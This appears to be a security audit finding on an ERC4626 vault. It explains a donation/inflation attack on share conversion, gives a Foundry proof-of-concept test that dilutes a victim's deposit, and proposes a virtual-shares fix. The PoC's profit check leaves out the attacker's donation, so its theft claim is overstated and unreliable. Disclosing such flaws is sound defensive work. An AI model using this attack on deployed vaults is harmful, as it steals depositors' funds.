Root + Impact
Description
-
The vault follows ERC4626 standards where users deposit assets to receive shares proportional to their contribution, calculated as shares = assets * totalShares / balanceOfVault in _convertToShares.
-
After the first deposit, subsequent deposits mint shares based on the current asset-to-share ratio, ensuring fair distribution.
-
The issue is that attackers can directly transfer (donate) assets to the vault contract without calling deposit, inflating the balanceOfVault (total assets) without minting new shares.
-
This skews the ratio, causing subsequent legitimate depositors to receive fewer shares than expected due to the inflated denominator, allowing the attacker to front-run and steal value by depositing minimally and withdrawing amplified assets.
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply();
if (totalShares == 0 || balanceOfVault == 0) {
return assets;
}
@> shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}
Risk
Likelihood: High
Impact: High
-
Legitimate depositors receive near-zero or diluted shares, leading to funds loss.
-
Attacker withdraws amplified assets, effectively stealing from the vault.
Proof of Concept
function testDonation() public {
uint256 tinyDeposit = minimumAmount * 10;
uint256 normalDeposit = 1 ether;
uint256 largeDonation = 10 ether;
vm.prank(user2);
mockToken.approve(address(briVault), tinyDeposit);
vm.prank(user2);
uint256 attackerInitialShares = briVault.deposit(tinyDeposit, user2);
assertGt(attackerInitialShares, 0, "Attacker initial shares");
vm.prank(user1);
mockToken.approve(address(briVault), normalDeposit);
vm.prank(user1);
uint256 victimInitialShares = briVault.deposit(normalDeposit, user1);
assertGt(victimInitialShares, 0, "Victim initial shares");
vm.prank(user2);
mockToken.transfer(address(briVault), largeDonation);
vm.prank(user1);
mockToken.approve(address(briVault), normalDeposit);
vm.prank(user1);
uint256 victimDilutedShares = briVault.deposit(normalDeposit, user1);
assertLt(victimDilutedShares, victimInitialShares / 10, "Victim got diluted shares");
uint256 attackerBalanceBefore = mockToken.balanceOf(user2);
vm.prank(user2);
briVault.redeem(attackerInitialShares, user2, user2);
uint256 attackerBalanceAfter = mockToken.balanceOf(user2);
uint256 attackerGained = attackerBalanceAfter - attackerBalanceBefore;
assertGt(attackerGained, tinyDeposit, "Attacker gained extra assets from dilution theft");
}
Recommended Mitigation
To prevent the inflation/donation attack, implement "virtual" assets and shares (a small offset) to make small donations ineffective at skewing the ratio. This ensures the first depositor and subsequent ones get fair shares, as the denominator can't be manipulated to near-zero impact. Override totalAssets and adjust _convertToShares accordingly. Use constants like 1 for virtual assets and 1e18 for shares to avoid precision issues.
// Add virtual assets/shares to prevent inflation from small donations
+ uint256 internal constant VIRTUAL_ASSETS = 1;
+ uint256 internal constant VIRTUAL_SHARES = 1e18;
// Override totalAssets to include virtual
function totalAssets() public view override returns (uint256) {
- return IERC20(asset()).balanceOf(address(this));
+ return IERC20(asset()).balanceOf(address(this)) + VIRTUAL_ASSETS;
}
// Update _convertToShares with virtuals
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
- uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
- uint256 totalShares = totalSupply(); // total minted BTT shares so far
- if (totalShares == 0 || balanceOfVault == 0) {
- // First depositor: 1:1 ratio
- return assets;
- }
- shares = Math.mulDiv(assets, totalShares, balanceOfVault);
+ uint256 supply = totalSupply();
+ return assets == 0 ? 0 : Math.mulDiv(assets, supply + VIRTUAL_SHARES, totalAssets());
}
